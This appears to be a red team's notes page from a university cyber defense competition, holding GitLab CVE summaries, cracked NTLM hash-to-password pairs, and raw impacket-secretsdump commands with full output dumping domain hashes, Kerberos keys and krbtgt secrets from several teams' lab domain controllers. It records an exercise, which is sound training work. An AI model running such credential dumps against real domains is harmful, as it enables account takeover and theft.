Thank you for competing!
Competition Information
Add content here...
Flag Locations
Add content here...
General Help and Information
Uploaded Files:
ISU2_2025_Scenario.pdf,
Screenshot_irc_wall.png,
dave_id_ed25519.pub,
Screenshot_irc_bot1.png,
Screenshot_irc_bot.png,
Screenshot_2025-03-29_15-35-06.png
PAM scripts and stuff
Red Debrief:
https://docs.google.com/presentation/d/1-ixsb65TaEdxJ1NzSbgXPcITQnuDa_ehMRsowNUx9Fo/edit?usp=sharing
CVE-2025-0811
1 Gitlab
1 Gitlab
2025-03-27
8.7 High
An issue has been
discovered in GitLab CE/EE affecting all versions from 17.7 before
17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1. Improper rendering
of certain file types leads to cross-site scripting.
CVE-2025-2242
1 Gitlab
1 Gitlab
2025-03-27
7.5 High
An improper access
control vulnerability in GitLab CE/EE affecting all versions from 17.4
prior to 17.8.6, 17.9 prior to 17.9.3, and 17.10 prior to 17.10.1 allows
a user who was an instance admin before but has since been downgraded
to a regular user to continue to maintain elevated privileges to groups
and projects.
CVE-2025-2255 1 Gitlab
1 Gitlab
2025-03-27
8.7 High
An issue has been
discovered in Gitlab EE/CE for AppSec affecting all versions from 13.5.0
before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1. Certain
error messages could allow Cross-Site Scripting attacks (XSS). for
AppSec.
ALL NTLM HASHES cracked so far:
7962669e5d3b89766ab54dc49f991bb0:hor423rol 424c5799681ef4de8336fba807ea4a57:baz750way 469fa022c2b0dd5badb054509d24b344:xew961cor 6e46f948f8a0b704a4c065f97467f057:wul403bog c1f2d2008bc66a5870a85af1709ab5b1:gix150sah 1b68b50cfa240646815da34b28091c02:kuj100ziv 186dd8689a3c3217bd39f9cc95241f5b:kez541taw 76b8884ef03e5931e542d4ce8f848632:qic096ros 035b1fbc3d343d49e82bc93e1e5e1d32:rex747gun 934e004908ad5d8d106ffce8cf5adf69:qov391qid b8ff53fb356fd81619be0edca3e764f7:rom788han b2553b46b09ef9811d6aadd2230cdef7:hal273dut cb10f1031728488c4f400db8b6080304:pot043tey 459f8663503fceab557a00b085a285ad:nom783tum fea9c9364cf7d3fbf6eacbfe2847b2f3:tir510zid c66eaa3dbc59379690507d6d8d85f265:nac977sac 4c1a0a1a0b54570d11d05041604cd807:qew222tes bf96dc24f6f8c0221a2cd1d17a68af7d:veh404vel ee9dcec99500867ee2b869d417d76b71:coj846fam 5e250150bf1492af695cc2a03144ab04:zaf179qim 5e77c017a884c4bb5396cb7377af102a:quw177vem e8e3b4cf159b95626d4deec77776f007:qur218deg f24f2a27e3df08c180524dd8754a9d65:fed332cex e9045b6b28c39a189329d6844e613088:jim511wav 4e5872be9bd827c675aea1831ddf9b66:vum736mew 6a29e611bb567884114e9f72044d7c5a:neb985sak 987dd3698d062c7c51a73a937debefec:cir353hij 9970c7c385785a06503482ed47c06d1b:xip181xaz 7b3211b4c8fdd7f5e64d12ef1d546fbb:jag858zoy f5a52339c8b2f9cb2d37a4446da14851:xep673bef d50caae3ff6142e90c38bdf5fa9f2e17:zoj012xuh 28fa42e75b9ee76566b65c6d98a3cdd6:jap811yih 01749def0849f31d734f386fc191f2ac:tat822keq cb139a0c263c24f8285ad2ce20ab160b:fid044liw 6aa15b3d14492d3fa4aa7c5e9cdc0e6a:cdc 31d6cfe0d16ae931b73c59d7e0c089c0: 15a64666c1c43e3ef60da783bfefb3ff:mascot27 48d27d11d9c654e7f44ad1341f9747e2:ZIMNICARU d427c10b30c0e0605a844d2ae2ba8246:vale3715 552c66047e45aa9141689e232efd4dd7:815388872SHARED CREDS:
d427c10b30c0e0605a844d2ae2ba8246:vale3715 amber.palmer
552c66047e45aa9141689e232efd4dd7:815388872
ALL NTLM HASHES (excl teams 9 and 11)
impacket-secretsdump 'AD$'@ad.team4.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:84d80e2513bf6635b1e270b8ba760b5c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fd1bd6ceeaeab249dbf85fd499502314:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
team4.isucdc.com\jessica.butler:1120:aad3b435b51404eeaad3b435b51404ee:c66eaa3dbc59379690507d6d8d85f265:::
team4.isucdc.com\frederick.massey:1121:aad3b435b51404eeaad3b435b51404ee:f5a52339c8b2f9cb2d37a4446da14851:::
team4.isucdc.com\trevor.benson:1122:aad3b435b51404eeaad3b435b51404ee:f5a52339c8b2f9cb2d37a4446da14851:::
team4.isucdc.com\dylan.jenkins:1123:aad3b435b51404eeaad3b435b51404ee:cb139a0c263c24f8285ad2ce20ab160b:::
team4.isucdc.com\kyle.myers:1124:aad3b435b51404eeaad3b435b51404ee:5e250150bf1492af695cc2a03144ab04:::
team4.isucdc.com\laura.johnson:1126:aad3b435b51404eeaad3b435b51404ee:b2553b46b09ef9811d6aadd2230cdef7:::
team4.isucdc.com\zachary.wallace:1127:aad3b435b51404eeaad3b435b51404ee:9970c7c385785a06503482ed47c06d1b:::
team4.isucdc.com\amber.palmer:1128:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team4.isucdc.com\kevin.holland:1129:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team4.isucdc.com\melissa.marshall:1130:aad3b435b51404eeaad3b435b51404ee:c44d26affa3639f7b9eecf50c2c368fa:::
team4.isucdc.com\Tonya.rodriguez:1131:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:2a32489db4a74b04655060db7b40eaed:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:8e7927ecf61b1e6cee05fad500c35551:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:c6c0053f007b06c249c032ab0e45e442:::
WWW$:1111:aad3b435b51404eeaad3b435b51404ee:802ceb9e332f0cd06a8e97d39589bc60:::
CODE$:1132:aad3b435b51404eeaad3b435b51404ee:23fb420d66782667d87d5f6392b7892e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:04532d14a37a4664d992f90de4d7c3f20aebc42f7448048ce9bf55118763739f
Administrator:aes128-cts-hmac-sha1-96:a416827aea144b2404145540136d0712
Administrator:des-cbc-md5:bcba25b520e68cfd
krbtgt:aes256-cts-hmac-sha1-96:c83c578e89db5801d61401c7c8553df577fdebabed5e59491ccc116600c42e15
krbtgt:aes128-cts-hmac-sha1-96:0b0c9f947704a7d403a487a9b3d8bae7
krbtgt:des-cbc-md5:26a43289ecd92f29
team4.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:addc843d8aae0c681b79efbe085ce18914268b44ea5484490f91e1e5b95dcd52
team4.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:d3f23c8c813c3004e39efd52ee66de93
team4.isucdc.com\jessica.butler:des-cbc-md5:5d29e5974f1ab952
team4.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:1a2e569424c08e06e7f53328ef48c4488e6dc1594d9908f0cbf4df19f18a3cdf
team4.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:56c62b697a6b40d60dddd74b21f042c9
team4.isucdc.com\frederick.massey:des-cbc-md5:409b1acead61c2da
team4.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:72f68cce691e2e2780c76525a21471fab2197313e1bcc2fda471797a967d4f5e
team4.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:935f7221e35edab9921907ed01ed5b5e
team4.isucdc.com\trevor.benson:des-cbc-md5:5bd6b59464cba2bc
team4.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eeba50fb9723121f03ee20bfa5f255fe68bffc61fa1e73a638f3244e3e5d4be5
team4.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:80e4c45bd49324106b7f27d4a2dbbb1b
team4.isucdc.com\dylan.jenkins:des-cbc-md5:b69b86f40734ea86
team4.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:95d706b804c591e7070e7cc344e4baeea21da5b2fa08a644578cca58f5bbc095
team4.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:99ab9b2078dc42bf89444e1d4fb7588c
team4.isucdc.com\kyle.myers:des-cbc-md5:68e91f8346dfd30d
team4.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:8928a449596b36fe64c08e18b36dbea324b478b7cd953aafaa058b54c6499c7a
team4.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:8917ce0380fdd2431cead795dc115b66
team4.isucdc.com\laura.johnson:des-cbc-md5:231acddf86088564
team4.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:31d1e0043a1a5c92a103210d2a5b347d438736967122feb94697831ad908bd1c
team4.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:044a8b6a04cdaa938ba743c950373dbd
team4.isucdc.com\zachary.wallace:des-cbc-md5:43fd5eb07f328f43
team4.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:6ef89e84532170c830ab25557df5bd276cc87c7d689ad5ca530e9644ce652085
team4.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:2f6ed3dbf3080c0d5befc43483c40fc7
team4.isucdc.com\amber.palmer:des-cbc-md5:f25e0d9dbafe57e5
team4.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:5ac84bc8089d83c74a88653f266186a2a269f199aed512499fae9978deec7b6f
team4.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:43665b61a231bfaa009584cb2c5fa9fe
team4.isucdc.com\kevin.holland:des-cbc-md5:892c23a257aec8c1
team4.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:32a70578c0f45a85aa146c03820824002e135e4e7f56f3fcb3f866881dee4270
team4.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:7193496a58a4c7990ee5b041582f1a7b
team4.isucdc.com\melissa.marshall:des-cbc-md5:02dc9726370beaa1
team4.isucdc.com\Tonya.rodriguez:aes256-cts-hmac-sha1-96:62db31ffcb6e2485847a40ab9f32ca02a4fbccb8b748dd4df891de26f76a1a93
team4.isucdc.com\Tonya.rodriguez:aes128-cts-hmac-sha1-96:bcb0237229234ae0f9e1a499e2be7066
team4.isucdc.com\Tonya.rodriguez:des-cbc-md5:437ff1ba0b08cbb0
AD$:aes256-cts-hmac-sha1-96:04a7134362fe1b4db100ba13b8893364a980b02701a4b4753b7a01a2d4ae0293
AD$:aes128-cts-hmac-sha1-96:5a7046bdbc3654ac0e6852b8549a36cd
AD$:des-cbc-md5:d0fe4323257fe373
GIT$:aes256-cts-hmac-sha1-96:02a21e9265af22d7737001c6ecf60a841342b1d07273ab19f1324025e6e9079f
GIT$:aes128-cts-hmac-sha1-96:f814f6b0023bb0629dcbb5f3670d7f0b
GIT$:des-cbc-md5:5b7667fb0ecd31ef
ENV$:aes256-cts-hmac-sha1-96:b7748b824393991fd01c4e2e3cb4b40a8c29f86d3983bf662cde0eac7558fa3d
ENV$:aes128-cts-hmac-sha1-96:4c99554e2c7d9374c6555b01a6717d87
ENV$:des-cbc-md5:7931f4b9ba380e64
IRC$:aes256-cts-hmac-sha1-96:16669ac8acd55648bebeaf0fd86287c03621f98036f1146db933558434eec461
IRC$:aes128-cts-hmac-sha1-96:c65139def2d4196c1167b0421c5ba699
IRC$:des-cbc-md5:079e16d5cef204e9
WWW$:aes256-cts-hmac-sha1-96:cb387dc8a47c588d242866b1d893ba4c626c55f946df3477c1782e5f0ba7e539
WWW$:aes128-cts-hmac-sha1-96:3fb4695b76ed561784014a02a7889502
WWW$:des-cbc-md5:31dcd50d343b43fb
CODE$:aes256-cts-hmac-sha1-96:b2f593cc0343529d66b14dd40b3af78542c277b080c5d46af46813868066d673
CODE$:aes128-cts-hmac-sha1-96:6f8b1bbae0b234ace6ca00e701b5db25
CODE$:des-cbc-md5:7f91d62a677fe5ae
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0xfbe389278cd511d79f2a5e437f0bc0480257e8c438845989786f8953e8b782b86dba4219b9f354819254444a3aac53749ae8aa5448066835dd49ad3bea61b72126738935b142cc526adcac90f7786e954fab7a120cc65eecb51a59bcd5e502901971c9bf623a4e24bf539a70f60e9d75d163677cc2db220436b71fd8e67feea1c77ac942546b83e8d6db018674512556d47797d7eb2cba89fbadeb72c798f8a1ff25b49d0cf8cef2b51460ebc55ecaac7f8a0d1e84296ebb0eef31e096890a2949b7658f19f79f26616fa39839f4d05d1124ba89e2bb9538c478ef0df192ee1f8ece120f08322e48a001867eae5d20e69ca32daaa3e8630ede8a2468017447b5159861b7d7bcd3ec5f08d4f84f89458caa2c87ed99b3e8e8be9c44541e0a9899ae065d12ca4afc65d03f064fbc9454a8924f816495e9da09cd08522c192d6fe205225518300d44e8d44eabfb84c13ba0e6714d35481a729e52e6824cde7a8e26aa5352f41ba593b12c03fa7eeab6470530fbd75c21596eedd421d982da6b12136fa0b231959210ec8d2e679401b78a7901cbbb7bc22cb7310f3b4ad1fa2212edf0c2090be3ab48769cc89866c33f8e00fa0ccff75b0250726fec12b50dfed543ec7a5c1b8b901743fca9ee55d7ae5e0dd5b5a0093eb3d1cf44cf3b4ff439bc34932c59e8548fbebe15a1049904ffcfd2c4ce2f72203a0edaed569bc7a6d7dd00
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team5.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:439ecda07f322f5712a83e55aff69759:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c9af8f068232dbe43824d393f97f9b2f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
team5.isucdc.com\jessica.butler:1114:aad3b435b51404eeaad3b435b51404ee:fea9c9364cf7d3fbf6eacbfe2847b2f3:::
team5.isucdc.com\frederick.massey:1116:aad3b435b51404eeaad3b435b51404ee:459f8663503fceab557a00b085a285ad:::
team5.isucdc.com\trevor.benson:1117:aad3b435b51404eeaad3b435b51404ee:f24f2a27e3df08c180524dd8754a9d65:::
team5.isucdc.com\dylan.jenkins:1118:aad3b435b51404eeaad3b435b51404ee:6a29e611bb567884114e9f72044d7c5a:::
team5.isucdc.com\kyle.myers:1119:aad3b435b51404eeaad3b435b51404ee:934e004908ad5d8d106ffce8cf5adf69:::
team5.isucdc.com\zachary.wallace:1120:aad3b435b51404eeaad3b435b51404ee:28fa42e75b9ee76566b65c6d98a3cdd6:::
team5.isucdc.com\laura.johnson:1121:aad3b435b51404eeaad3b435b51404ee:035b1fbc3d343d49e82bc93e1e5e1d32:::
team5.isucdc.com\amber.palmer:1122:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team5.isucdc.com\kevin.holland:1123:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team5.isucdc.com\melissa.marshall:1124:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team5.isucdc.com\tonya.rodriguez:1125:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:9424c2d3cf78388e2f399cc410a351af:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:cd4a3706197095aae45537eb65ca935b:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:975429d0db6e044a155a16d503dcf731:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:ac7e344909248d1c7d8058183dbfc85d:::
DUMMY$:1127:aad3b435b51404eeaad3b435b51404ee:b433ed2456ddc11d1cee281b35940f0a:::
CDC$:1128:aad3b435b51404eeaad3b435b51404ee:127791aa899a6b618b8864dc08098b10:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:27a0f0152dc48387deadff4ec6cecf37f510370fd159166c3d5237daaeef8ced
Administrator:aes128-cts-hmac-sha1-96:73a8d1ec31e250036dbcb59b9c42ce63
Administrator:des-cbc-md5:3edc0e9b6e45bc29
krbtgt:aes256-cts-hmac-sha1-96:1a5ffdb9a0b2148f9ee0b9fa085f14f6414de7d4bae8b5d355b28fa05693fa36
krbtgt:aes128-cts-hmac-sha1-96:eee8b8639f863e1bddbea10e275a2bae
krbtgt:des-cbc-md5:080be67c76c261dc
team5.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:4528a7aa2bcc2563e9567102cbe0c6910755f91522046992a6b34160b6e2e5f6
team5.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:c2b01289bdc1f2c3f692f0f976b40c63
team5.isucdc.com\jessica.butler:des-cbc-md5:3be6e5cd6da20852
team5.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:652d00de21c3491d7998b533e7b4bdff0ccafd2e99c227b5a20c7c71f249c76c
team5.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:f995fc05e4642a3f7957bd71a2effd2d
team5.isucdc.com\frederick.massey:des-cbc-md5:97041329a7cb8580
team5.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:d2cf053ad4fb33941214d125dab7e479586919508cc79cc86ee7c9066959cdba
team5.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:4d99d18e68ad257f09480aa4c750c1e4
team5.isucdc.com\trevor.benson:des-cbc-md5:cb68c10264df268c
team5.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:65570c1443e821f1ef2062f1f6ae66869c57cd1e12674c5bd720862708c7f950
team5.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:4bf677a376f9bb73a07259ef74cd910a
team5.isucdc.com\dylan.jenkins:des-cbc-md5:8c6145b0fb4c580b
team5.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:9b60d6a56b18402ccb17498cd3684820bda88c43cf8034fd860720f631cb2b1b
team5.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:c378a31017186202c3117178f7a4d01b
team5.isucdc.com\kyle.myers:des-cbc-md5:e3fe0b6767029e68
team5.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:f9d92f275b8d80808f63a4b9bcaba50162f0d22737fd35a21ad81f3cfca947d8
team5.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:6c7cf8b0257308fa199376af120cfdcd
team5.isucdc.com\zachary.wallace:des-cbc-md5:e6fec10d8abacd38
team5.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:c5f3a2d03961f4a21706f800df1dfedf4c6ac9f097d225cf05fabcdc948c9203
team5.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:d7cc6dc747d4babebc100bc9d36b8144
team5.isucdc.com\laura.johnson:des-cbc-md5:6d58aed0ec045d01
team5.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:dfb32cad1e7358829d87e734bbf253666b4457457fcf786a9385bf00a8569c8a
team5.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:97c701c6e042d377b341bf20c4cd86e6
team5.isucdc.com\amber.palmer:des-cbc-md5:106713260dc231ce
team5.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:b90c59765e390cd88272d72e18aecc1b3c5609ddad0135e8843777b58f7582c3
team5.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:7037997bd372e90be0b758ffa9fbaa0d
team5.isucdc.com\kevin.holland:des-cbc-md5:3240611a3420f740
team5.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:6274dfbfa9a14d67c82f662e874f3ed16e9f31809c25bb6f5877a5a16b3dd2b9
team5.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:b7e4f7708d0f56b19b2afddbcf755aac
team5.isucdc.com\melissa.marshall:des-cbc-md5:4cea524cc47cf2a8
team5.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:4c8e243f8abd2718947294e3757c302f823f6bf6deb678d1b415057ce78c54ca
team5.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:77f95eb9651bedfc033cb51b282cbf3b
team5.isucdc.com\tonya.rodriguez:des-cbc-md5:f4ef51fb19e04a2a
AD$:aes256-cts-hmac-sha1-96:7aa6db0d63d675b6fa82bcf3b33f0194d746fa64dcdfe9d28d55ebd1c78ae951
AD$:aes128-cts-hmac-sha1-96:95f5bc782a227c9b43c281c666565aea
AD$:des-cbc-md5:94511fc84f852c31
GIT$:aes256-cts-hmac-sha1-96:d2ad819464d4370fe03cd9b712c386b1b2e01f54c6537e59831c774108f3bdcf
GIT$:aes128-cts-hmac-sha1-96:6dc80f22c1b941a2dec1859bb9ce9e1a
GIT$:des-cbc-md5:7f6b7abc31d616ae
ENV$:aes256-cts-hmac-sha1-96:0d2f1161c2c54d45b6950b1d55d98b6210c03726dc17142372ed408855d21e45
ENV$:aes128-cts-hmac-sha1-96:975a196504578d45341e2499112e27ac
ENV$:des-cbc-md5:c479511f6b4f8346
CODE$:aes256-cts-hmac-sha1-96:873cf2899fc0f84b3da4135acbb566a79da9fd1f48504b3b608d2b1a1da61049
CODE$:aes128-cts-hmac-sha1-96:a6a1c576b2535456023265a075f9d2fc
CODE$:des-cbc-md5:ade0f81c799da210
IRC$:aes256-cts-hmac-sha1-96:1b941f22e980fe399b2f73537570091cfe362523b26de722fd6412af1fa409b3
IRC$:aes128-cts-hmac-sha1-96:d75b537d4723f60de5df8977f49219f0
IRC$:des-cbc-md5:b3026ee56b4a400b
DUMMY$:aes256-cts-hmac-sha1-96:282331c6bc8e6c08907a76872d835c730ef488205330ec186734039c7635c102
DUMMY$:aes128-cts-hmac-sha1-96:4c00b02a6c0eb5bd2e3923011f80b770
DUMMY$:des-cbc-md5:58e0572079b5ab7f
CDC$:aes256-cts-hmac-sha1-96:974caada7a38727cf5965a4534a63a78ece29fef97e68c4b5b8a36bec6a180c0
CDC$:aes128-cts-hmac-sha1-96:869388b31b8b159fe6e7cff087b2216f
CDC$:des-cbc-md5:67d61c7c255bf7bc
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x7f8d9a26bc7d5498decdb076ffef0048e5be04fb441fdcecdd02b664fe4ae52684b350c5ff77896577fb94aea8ddbedcce03ca822ccd3706d83b519292e203870b65e0e31a54ee7c61defd7b85bb18a5a49c1ef92d24a91b3d247f758d0c6d02cbd01e93e749bb51aec8a6bcfd6242fdf74e91ddcff7f2dd624d8f746d3066cbac4f6d0a934595d1076d48e69631ec88d5620ac93f21d440fb1966d1d567eaafba26f5c19b7444914ede33d791a8f4de706c42a96bf390d413a116a26d9f1f5fe027b2ed3380e64f2887a28446fdbb8c43b15517bfcc3a8ecdb296b20a00dcaffa00ec0073d38c16a7fd69dc67cb3aea0d69196e998777a65c075418db8627bbf34b7c6c51fc0617379b5bb8104e478eb7a1def40c98a71238e3424fcc9c9e161040af1d234dbbdbded6a3f83f2a2db719366c6f2fc77e54911490de8699963b0497a541169f611e6cd5480040cccca83bd603266db64ac48d25f502ea4989bd79deb2ff4a259d12ff38485cafcbfab1f0e5115566e5bcbd7b8113d96a00e0d7aa3a3da9cc9446414cd0c827c37b932f661b321af05077fda58dd52ff66eca45cd836472f9bb05ed7da5ef7d614d15ff6d4e5c991aa1fb46c6d6ccb82dcfc0c94fe59a117e8290f4e80b33206649c5dd3adf9f71fac0c5024d80b41c842e3339ea765459d7088194d2a078b2480c5851c39a7248e6f71a0780c5811635ea56b6
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team6.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:feba2d3e792ca4daee48d3bc4bac0656:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ef0d23ad3d4384c8bf7c587dd00d632a:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:15db49cc9be1d6b7bcba1f7a8c74f04c:::
team6.isucdc.com\jessica.butler:1117:aad3b435b51404eeaad3b435b51404ee:e8e3b4cf159b95626d4deec77776f007:::
team6.isucdc.com\frederick.massey:1118:aad3b435b51404eeaad3b435b51404ee:bf96dc24f6f8c0221a2cd1d17a68af7d:::
team6.isucdc.com\trevor.benson:1119:aad3b435b51404eeaad3b435b51404ee:76b8884ef03e5931e542d4ce8f848632:::
team6.isucdc.com\dylan.jenkins:1120:aad3b435b51404eeaad3b435b51404ee:4e5872be9bd827c675aea1831ddf9b66:::
team6.isucdc.com\kyle.myers:1121:aad3b435b51404eeaad3b435b51404ee:5e77c017a884c4bb5396cb7377af102a:::
team6.isucdc.com\zachary.wallace:1122:aad3b435b51404eeaad3b435b51404ee:987dd3698d062c7c51a73a937debefec:::
team6.isucdc.com\laura.johnson:1123:aad3b435b51404eeaad3b435b51404ee:ee9dcec99500867ee2b869d417d76b71:::
team6.isucdc.com\amber.palmer:1124:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team6.isucdc.com\kevin.holland:1125:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team6.isucdc.com\melissa.marshall:1126:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team6.isucdc.com\tonya.rodriguez:1127:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
team6.isucdc.com\webad:1133:aad3b435b51404eeaad3b435b51404ee:d29aaefca4607bcdc6a5ffb19194ce97:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:ca4d92128bfa0adc2eed57e62b2d0c2f:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:6a834070b16243efedc11fff083a962c:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:02ceb5df410c61fe57bd787c245ebd33:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:a5ecebaed9a1f649a97b867aeea4169b:::
WWW$:1131:aad3b435b51404eeaad3b435b51404ee:1c251b40fa716367870ed0953ee93ddd:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6af94540c39c891b78c002e3de0e36d327ca096601ac63a12e800d27905c1e08
Administrator:des-cbc-md5:4502981a130b3e1a
krbtgt:aes256-cts-hmac-sha1-96:9dc810de4cf00cdf1ab22085505cec709f3fd04ccd2a57033e2cb61a62fef359
krbtgt:aes128-cts-hmac-sha1-96:f1a84abbc597c883f503634aceb19175
krbtgt:des-cbc-md5:914c256443c8f83b
cdc:aes256-cts-hmac-sha1-96:22282ad6d4b40f3986509a4e9f3a4dc2587fcc1f10a2397a2b279a9b05e7bfed
cdc:des-cbc-md5:9e8cfe68eccbb970
team6.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:397f690942ebb3e8dad1bcd38d371ec2065c4c9db22ba3ad485166d34db569f5
team6.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:af718a94b5264c90273329d0a0c1da4a
team6.isucdc.com\jessica.butler:des-cbc-md5:756102a4981f2945
team6.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:5557c813312aafba446918245817c1f3e7cfe2a79c1ecccc7b77eb25ec99d015
team6.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:90b25854c93b5afab97c66ab7f32f055
team6.isucdc.com\frederick.massey:des-cbc-md5:b64558e0ead3b5f8
team6.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:4db7a8c72590b74fbfd37018fa0e50b71b1da3d87f311c211bed70d77f326352
team6.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:39e699e9cb2f1ea72601e0709742dff0
team6.isucdc.com\trevor.benson:des-cbc-md5:646ef2107a37ce8f
team6.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eb94c88b6fbd70b01ff9958ef72d6dc03d1258daa2d505bf8f485a73cb40cfdc
team6.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:cfc63858aadb695ab5b434553a157f26
